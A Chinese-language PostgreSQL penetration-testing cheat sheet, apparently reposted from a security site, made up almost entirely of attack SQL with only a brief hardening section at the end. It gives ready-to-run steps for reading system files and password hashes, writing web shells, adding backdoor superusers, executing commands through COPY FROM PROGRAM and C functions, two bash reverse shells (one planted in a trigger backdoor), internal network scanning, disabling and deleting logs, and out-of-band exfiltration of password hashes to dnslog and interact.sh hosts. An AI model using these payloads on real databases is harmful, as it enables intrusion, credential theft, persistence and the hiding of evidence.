原文: Postgresql 渗透总结 - 跳跳糖
PostgreSQL(简称 Postgres) 是一个开源的、功能强大的 关系型数据库管理系统(RDBMS)
很多python的框架 如Django Flask 都经常使用postgresql数据库
查看服务器端版本
-- 详细信息
select version();
-- 版本信息
show server_version;
select pg_read_file('PG_VERSION', 0, 200);
-- 数字版本信息包括小版号
SHOW server_version_num;
SELECT current_setting('server_version_num');
列目录
-- 注意: 在早期的 PostgreSQL 版本中,pg_ls_dir 不允许使用绝对路径
select pg_ls_dir('/etc');
-- 获取 pgsql 安装目录
select setting from pg_settings where name = 'data_directory';
-- 查找 pgsql 配置文件路径
select setting from pg_settings where name='config_file'
列出数据库
SELECT datname FROM pg_database;
查看支持的语言
select * from pg_language;
查看安装的扩展
select * from pg_available_extensions;
查看服务器ip地址
-- 这里是运行在 docker 里的靶机,所以 ip 不一致
select inet_server_addr()
查看当前用户是不是管理员权限
SELECT current_setting('is_superuser');
-- on 代表是, off 代表不是
SHOW is_superuser;
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
查询密码
SELECT usename, passwd FROM pg_shadow;
SELECT rolname,rolpassword FROM pg_authid;
-- password_encryption参数决定了密码怎么被hash
SELECT name,setting,source,enumvals FROM pg_settings WHERE name = 'password_encryption';
添加用户
--创建 f0x,赋予角色属性
create user f0x password 'Abcd1234' superuser createrole createdb
--添加 f0x 到角色组
grant postgres to f0x
修改一个角色为管理员角色
alter role f0x createrole;
更改密码
ALTER USER user_name WITH PASSWORD 'new_password';
查看用户
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
查看管理员用户
SELECT usename FROM pg_user WHERE usesuper IS TRUE
获取用户角色
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolconnlimit, r.rolvaliduntil,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
-- 注意: 在早期的PostgreSQL版本中,pg_read_file不允许使用绝对路径
select pg_read_file('/etc/passwd');
-- 单引号被转义的情况下使用
select/**/PG_READ_FILE($$/etc/passwd$$);
-- 创建一个表,名为 testf0x,包含一个 TEXT 类型的列
create table testf0x(t TEXT);
-- 使用 COPY 命令将服务器上的 /etc/passwd 文件读入表中
copy testf0x from '/etc/passwd';
-- 查询刚才插入的内容,获取第1行(offset 0)
select * from testf0x limit 1 offset 0;
lo_import
允许指定文件系统路径。该文件将被读取并加载到一个大对象中,并返回该对象的 OID。
--先加载/etc/passwd到一个大对象中
Select lo_import('/etc/passwd',12345678);
--然后读取 任选一个即可
SELECT convert_from(lo_get(123456789), 'UTF8');
select array_agg(b)::text::text from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a
SELECT pageno, encode(data, 'escape') FROM pg_largeobject WHERE loid = 12345679 ORDER BY pageno;
-- 单引号被转义的情况下使用
select/**/lo_import($$/etc/passwd$$,11111);
select/**/cast(encode(data,$$base64$$)as/**/integer)/**/from/**/pg_largeobject/**/where/**/loid=11111
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
-- base64编码内容
COPY (select convert_from(decode('ZmZmZmZmZmYweA==','base64'),'utf-8')) to '/tmp/success.txt';
select lo_from_bytea(12349,'ffffffff0x');
SELECT lo_export(12349, '/tmp/ffffffff0x.txt');
-- base64的形式
select lo_from_bytea(12350,decode('ZmZmZmZmZmYweA==','base64'));
SELECT lo_export(12350, '/tmp/ffffffff0x.txt');
-- 记下生成的lo_creat ID
select lo_creat(-1);
-- 替换24577为生成的lo_creat ID
INSERT INTO pg_largeobject(loid, pageno, data) values (24577, 0, decode('ZmZmZmZmZmYweA==', 'base64'));
select lo_export(24577, '/tmp/success.txt');
对于大文件分片上传:
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('6666', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('666666', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('6666', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('663078', 'hex'));
SELECT lo_export(12345, '/tmp/ffffffff0x.txt');
SELECT lo_unlink(12345);
-- 使用文件系统函数删除文件
CREATE OR REPLACE FUNCTION pg_file_unlink(text) RETURNS bool AS
'/path/to/postgresql/lib/plugins/unlink', 'pg_file_unlink' LANGUAGE C;
SELECT pg_file_unlink('/tmp/test.txt');
-- 字符串连接
SELECT 'a' || 'b'; -- 结果: ab
-- 注释符
-- 单行注释
/*
多行注释
*/
-- 条件语句
SELECT CASE WHEN (1=1) THEN 'true' ELSE 'false' END; -- 结果: true
-- 延时函数
SELECT pg_sleep(5); -- 延时5秒
SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END; -- 条件延时
-- 布尔盲注示例
SELECT CASE WHEN (SELECT substr(usename,1,1) FROM pg_user LIMIT 1) = 'p' THEN pg_sleep(5) ELSE pg_sleep(0) END;
-- 多条SQL语句执行
SELECT 1; CREATE TABLE evil(id serial, content text);
-- 数据注入
SELECT 1; INSERT INTO users(username, password) VALUES ('evil', 'evil');
-- 获取当前数据库所有表名
SELECT tablename FROM pg_tables WHERE schemaname = 'public';
-- 获取表字段
SELECT column_name FROM information_schema.columns WHERE table_name = 'users';
适用于PostgreSQL 9.3至11版本,管理员或有"COPY TO/FROM PROGRAM
"权限的用户可执行任意命令。
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
-- 反弹shell
COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"';
-- 创建一个执行系统命令的函数
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'C' STRICT;
SELECT system('id > /tmp/id.txt');
-- 另一种创建方式
CREATE OR REPLACE FUNCTION exec(text) RETURNS text AS
$$
DECLARE
output text;
BEGIN
SELECT INTO output pg_read_file('/tmp/command_output');
RETURN output;
END;
$$ LANGUAGE plpgsql;
通过覆盖PG_VERSION文件并配置SSL passphrase命令可执行系统命令:
select lo_from_bytea(10004,decode('加密私钥的base64内容','base64'));
select lo_export(10004,'/var/lib/postgresql/data/PG_VERSION');
-- 将以下内容添加到postgresql.conf
ssl = on
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
ssl_key_file = '/var/lib/postgresql/data/PG_VERSION'
ssl_passphrase_command_supports_reload = on
ssl_passphrase_command = 'bash -c "touch /tmp/success & echo 12345678; exit 0"'
select pg_reload_conf();
在 8.2 以前,postgresql 不验证 magic block,可以直接调用本地的 libc.so
8.2 以上版本,需要自己编译 so 文件去创建执行命令函数,可以自己编译反弹 shell 后门,也可以用 sqlmap 提供好的
-- 创建一个共享库
CREATE OR REPLACE FUNCTION system(text) RETURNS text
AS '/path/to/evil.so', 'system'
LANGUAGE C STRICT;
-- 执行命令
SELECT system('id');
PostgreSQL 9.3至10版本存在逻辑错误,允许普通用户创建恶意代码让超级用户执行,从而进行提权。
利用步骤:
-- 1. 创建一个恶意函数
CREATE OR REPLACE FUNCTION public.f_exec(cmd text) RETURNS void AS
$$
BEGIN
EXECUTE 'DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text)';
EXECUTE 'COPY cmd_exec FROM PROGRAM ''' || cmd || '''';
END;
$$ LANGUAGE plpgsql;
-- 2. 让管理员执行
-- (超级用户执行后会触发恶意函数)
PostgreSQL 其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM
”权限的用户,可以使用这个特性执行任意命令。
利用条件
-- 前提是具有superuser权限
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id > /tmp/pwned && chmod 777 /tmp/pwned';
通过pg_hba.conf配置文件中的信任关系,可能绕过密码认证,如trust
身份验证方法。
# 在pg_hba.conf中可能存在的配置
local all all trust
host all all 127.0.0.1/32 trust
-- 创建触发器后门,在特定操作时执行命令
CREATE OR REPLACE FUNCTION backdoor() RETURNS trigger AS
$$
BEGIN
PERFORM system('bash -c "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"');
RETURN NEW;
END;
$$ LANGUAGE plpgsql;
CREATE TRIGGER backdoor_trigger BEFORE INSERT ON some_table FOR EACH ROW EXECUTE PROCEDURE backdoor();
-- 检查是否启用了dblink扩展
SELECT * FROM pg_available_extensions WHERE name = 'dblink';
-- 安装dblink扩展
CREATE EXTENSION dblink;
-- 使用dblink连接远程数据库
SELECT * FROM dblink('host=192.168.1.1 user=postgres password=postgres dbname=postgres', 'SELECT usename FROM pg_user') AS t(username text);
-- 扫描内网
DO $$
DECLARE
i int;
BEGIN
FOR i IN 1..255 LOOP
BEGIN
PERFORM dblink_connect('host=192.168.1.' || i || ' user=postgres password=postgres dbname=postgres');
RAISE NOTICE 'Connection successful: 192.168.1.%', i;
PERFORM dblink_disconnect();
EXCEPTION WHEN OTHERS THEN
RAISE NOTICE 'Connection failed: 192.168.1.%', i;
END;
END LOOP;
END
$$;
-- 查看日志配置
SHOW log_destination;
SHOW logging_collector;
SHOW log_directory;
SHOW log_filename;
-- 禁用特定日志(需要superuser权限)
ALTER SYSTEM SET log_statement = 'none';
ALTER SYSTEM SET log_min_error_statement = 'panic';
SELECT pg_reload_conf();
-- 查看日志文件位置
SELECT setting FROM pg_settings WHERE name = 'log_directory';
SELECT setting FROM pg_settings WHERE name = 'data_directory';
-- 使用系统命令清除日志(如果有执行系统命令的权限)
SELECT system('rm /var/lib/postgresql/data/pg_log/*');
dblink
允许你在一个数据库中执行 SQL 查询,访问另一个数据库中的数据,这对于需要跨数据库操作的情况非常有用,比如在不同的 PostgreSQL 实例之间传输数据. 同时也为我们进行dnslog带外提供了可能
-- 开启 dblink 扩展
CREATE EXTENSION dblink
-- 获取当前数据库用户名称
SELECT * FROM dblink('host='||(select user)||'.djw0pg.dnslog.cn user=test dbname=test', 'SELECT version()') RETURNS (result TEXT);
-- 查询当前密码
SELECT * FROM dblink('host='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')||'.c8jrsjp2vtc0000rwce0grjcc3oyyyyyb.interact.sh user=test dbname=test', 'SELECT version()') RETURNS (result TEXT);
-- nc 监听
nc -lvv 4444
select dblink_connect((select 'hostaddr=x.x.x.x port=4445 user=test password=test sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
# pg_hba.conf
host all all 0.0.0.0/0 reject
host all all 内部网络/24 md5
-- 创建只读用户
CREATE USER readonly WITH PASSWORD 'password';
GRANT CONNECT ON DATABASE dbname TO readonly;
GRANT USAGE ON SCHEMA public TO readonly;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO readonly;
# postgresql.conf
local_preload_libraries = ''
session_preload_libraries = ''
shared_preload_libraries = ''
# postgresql.conf
log_statement = 'all'
log_min_error_statement = 'error'